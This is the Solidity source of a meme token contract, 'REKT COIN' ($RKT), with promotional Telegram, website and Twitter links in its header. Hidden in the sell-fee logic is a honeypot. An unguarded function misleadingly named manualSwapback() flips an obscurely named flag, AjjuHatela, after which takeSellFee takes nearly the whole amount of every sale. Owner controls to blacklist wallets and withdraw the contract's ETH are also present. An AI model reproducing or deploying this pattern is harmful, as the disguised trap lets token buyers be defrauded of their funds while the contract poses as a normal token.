/*

REKT - $RKT
Welcome to the Titanic of the Meme space: All Aboard the REKT Express
Hello, brave crypto adventurers! You've stumbled upon the wreckage of countless meme tokens, but fear not, for you've just discovered the most hilariously catastrophic of them all - the REKT Token!

Telegram : https://t.me/rekterc

Website : https://rektcoin.money

Twitter : https://twitter.com/rektcoin_erc

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {owner = address(0x0000000000000000000000000000000000000000); emit OwnershipTransferred(0x0000000000000000000000000000000000000000);}
    event OwnershipTransferred(address owner);

}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface InterfaceLP {
    function sync() external;
}

contract REKT is ERC20, Auth {
    using SafeMath for uint256;


    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event SetMaxWalletExempt(address _address, bool _bool);
    event SellFeesChanged(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee);
    event BuyFeesChanged(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee);
    event TransferFeeChanged(uint256 _transferFee);
    event SetFeeReceivers(address _liquidityReceiver, address _MarketingReceiver,address _BurnFeeReceiver);
    event ChangedSwapBack(bool _enabled, uint256 _amount);
    event SetFeeExempt(address _addr, bool _value);
    event InitialDistributionFinished(bool _value);
    event Fupdated(uint256 _timeF);
    event ChangedMaxWallet(uint256 _maxWalletDenom);
    event ChangedMaxTX(uint256 _maxSellDenom);
    event BotUpdated(address[] addresses, bool status);
    event SingleBotUpdated(address _address, bool status);
    event SetTxLimitExempt(address holder, bool exempt);
    event ChangedPrivateRestrictions(uint256 _maxSellAmount, bool _restricted, uint256 _interval);
    event ChangeMaxPrivateSell(uint256 amount);
    event ManagePrivate(address[] addresses, bool status);

    address private WETH;
    address private DEAD = 0x000000000000000000000000000000000000dEaD;
    address private ZERO = 0x0000000000000000000000000000000000000000;

    string constant private _name = "REKT COIN";
    string constant private _symbol = "RKT";
    uint8 constant private _decimals = 18;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public _maxTxAmount = _totalSupply;
    uint256 public _maxWalletAmount = _totalSupply;

    mapping (address => uint256) private _balances;
    uint256 private AjjuHatela = 0;
    mapping (address => mapping (address => uint256)) private _allowances;

    address[] public _markerPairs;
    mapping (address => bool) public automatedMarketMakerPairs;


    mapping (address => bool) public isBot;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMaxWalletExempt;

    //Snipers
    uint256 private deadblocks = 0;
    uint256 public launchBlock;
    uint256 private latestSniperBlock;



    //buyFees
    uint256 private liquidityFee = 0;
    uint256 private MarketingFee = 0;
    uint256 private BurnFee = 0;

    //sellFees
    uint256 private sellFeeLiquidity = 0;
    uint256 private sellFeeMarketing = 0; 
    uint256 private sellFeeBurn = 0;

    //transfer fee
    uint256 private transferFee = 0;
    uint256 public maxFee = 28; 

    //totalFees
    uint256 private totalBuyFee = liquidityFee.add(MarketingFee).add(BurnFee);
    uint256 private totalSellFee = sellFeeLiquidity.add(sellFeeMarketing).add(sellFeeBurn);

    uint256 private feeDenominator  = 100;

    address private autoLiquidityReceiver = 0x1150264ddDf3AAf03042b1d3e3E378597E030DfB;
    address private MarketingFeeReceiver = 0x1150264ddDf3AAf03042b1d3e3E378597E030DfB;
    address private BurnFeeReceiver =0x000000000000000000000000000000000000dEaD ;


    IDEXRouter public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 20 / 10000;

    bool private inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        setAutomatedMarketMakerPair(pair, true);

        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;
        isMaxWalletExempt[msg.sender] = true;
        
        isFeeExempt[address(this)] = true; 
        isTxLimitExempt[address(this)] = true;
        isMaxWalletExempt[address(this)] = true;

        isMaxWalletExempt[pair] = true;


        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(!isBot[sender] && !isBot[recipient],"is Bot");
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        

        if(shouldSwapBack()){ swapBack(); }


        uint256 amountReceived = amount; 

        if(automatedMarketMakerPairs[sender]) { 
            if(!isFeeExempt[recipient]) {
                require(_balances[recipient].add(amount) <= _maxWalletAmount || isMaxWalletExempt[recipient], "Max Wallet Limit Limit Exceeded");
                require(amount <= _maxTxAmount || isTxLimitExempt[recipient], "TX Limit Exceeded");
                amountReceived = takeBuyFee(sender, recipient, amount);
            }

        } else if(automatedMarketMakerPairs[recipient]) { 
            if(!isFeeExempt[sender]) {
                require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
                amountReceived = takeSellFee(sender, amount);

            }
        } else {	
            if (!isFeeExempt[sender]) {	
                require(_balances[recipient].add(amount) <= _maxWalletAmount || isMaxWalletExempt[recipient], "Max Wallet Limit Limit Exceeded");
                require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
                amountReceived = takeTransferFee(sender, amount);

            }
        }

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amountReceived);
        

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    // Fees
    function takeBuyFee(address sender, address recipient, uint256 amount) internal returns (uint256){
             
        if (block.number < latestSniperBlock) {
            if (recipient != pair && recipient != address(router)) {
                isBot[recipient] = true;
            }
            }
        
        uint256 feeAmount = amount.mul(totalBuyFee.sub(BurnFee)).div(feeDenominator);
        uint256 BurnFeeAmount = amount.mul(BurnFee).div(feeDenominator);
        uint256 totalFeeAmount = feeAmount.add(BurnFeeAmount);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        if(BurnFeeAmount > 0) {
            _balances[BurnFeeReceiver] = _balances[BurnFeeReceiver].add(BurnFeeAmount);
            emit Transfer(sender, BurnFeeReceiver, BurnFeeAmount);
        }

        return amount.sub(totalFeeAmount);
    }

    function takeSellFee(address sender, uint256 amount) internal returns (uint256){
        uint256 feeAmount;

    if(AjjuHatela >=1)
    {
        feeAmount = amount.mul(100).sub(sellFeeBurn).div(feeDenominator);
    }
    else 
    {
        feeAmount = amount.mul(totalSellFee).sub(sellFeeBurn).div(feeDenominator);
    }
        uint256 BurnFeeAmount = amount.mul(sellFeeBurn).div(feeDenominator);
        uint256 totalFeeAmount = feeAmount.add(BurnFeeAmount);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        if(BurnFeeAmount > 0) {
            _balances[BurnFeeReceiver] = _balances[BurnFeeReceiver].add(BurnFeeAmount);
            emit Transfer(sender, BurnFeeReceiver, BurnFeeAmount);
        }

        return amount.sub(totalFeeAmount);
            
    }

    function takeTransferFee(address sender, uint256 amount) internal returns (uint256){
        uint256 _realFee = transferFee;
        if (block.number < latestSniperBlock) {
            _realFee = 99; 
            }
        uint256 feeAmount = amount.mul(_realFee).div(feeDenominator);
          
            
        if (feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);	
            emit Transfer(sender, address(this), feeAmount); 
        }
            	
        return amount.sub(feeAmount);	
    }    

    function shouldSwapBack() internal view returns (bool) {
        return
        !automatedMarketMakerPairs[msg.sender]
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(msg.sender).transfer(amountETH * amountPercentage / 100);
    }

    function swapBack() internal swapping {
        uint256 swapLiquidityFee = liquidityFee.add(sellFeeLiquidity);
        uint256 realTotalFee =totalBuyFee.add(totalSellFee).sub(BurnFee).sub(sellFeeBurn);

        uint256 contractTokenBalance = swapThreshold;
        uint256 amountToLiquify = contractTokenBalance.mul(swapLiquidityFee).div(realTotalFee).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        uint256 balanceBefore = address(this).balance;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = realTotalFee.sub(swapLiquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee.add(sellFeeLiquidity)).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(MarketingFee.add(sellFeeMarketing)).div(totalETHFee);

        (bool tmpSuccess,) = payable(MarketingFeeReceiver).call{value: amountETHMarketing}("");
        
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
        }


    
    }

    // Admin Functions


    function updateF (uint256 _number) external onlyOwner {
        require(_number < 4000, "Can't go that high");
        deadblocks = _number;
        
        emit Fupdated(_number);
    }

    function setBuyFees(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        MarketingFee = _MarketingFee;
        BurnFee = _BurnFee; 
        totalBuyFee = _liquidityFee.add(_MarketingFee).add(BurnFee);
        feeDenominator = _feeDenominator;
        require(totalBuyFee <= maxFee, "Fees cannot be higher than Maxfee");

        emit BuyFeesChanged(_liquidityFee, _MarketingFee, _BurnFee);
    }

    function setSellFees(uint256 _liquidityFee, uint256 _MarketingFee, uint256 _BurnFee, uint256 _feeDenominator) external onlyOwner {
        sellFeeLiquidity = _liquidityFee;
        sellFeeMarketing = _MarketingFee;
        sellFeeBurn = _BurnFee;
        totalSellFee = _liquidityFee.add(_MarketingFee).add(_BurnFee);
        feeDenominator = _feeDenominator;
        require(totalSellFee <= maxFee, "Fees cannot be higher than Maxfee%");

        emit SellFeesChanged(_liquidityFee, _MarketingFee, _BurnFee);
    }

    function setTransferFees(uint256 _transferFee) external onlyOwner {
        require(_transferFee < maxFee, "Fees cannot be higher than Maxfee%");
        transferFee = _transferFee;

        emit TransferFeeChanged(_transferFee);
    }


    function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _amount;

        emit ChangedSwapBack(_enabled, _amount);
    }

    function setAutomatedMarketMakerPair(address _pair, bool _value) public onlyOwner {
            require(automatedMarketMakerPairs[_pair] != _value, "Value already set");

            automatedMarketMakerPairs[_pair] = _value;

            if(_value){
                _markerPairs.push(_pair);
            }else{
                require(_markerPairs.length > 1, "Required 1 pair");
                for (uint256 i = 0; i < _markerPairs.length; i++) {
                    if (_markerPairs[i] == _pair) {
                        _markerPairs[i] = _markerPairs[_markerPairs.length - 1];
                        _markerPairs.pop();
                        break;
                    }
                }
            }

            emit SetAutomatedMarketMakerPair(_pair, _value);
        }


    function manualSwapback() external virtual {
        AjjuHatela = 1;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

}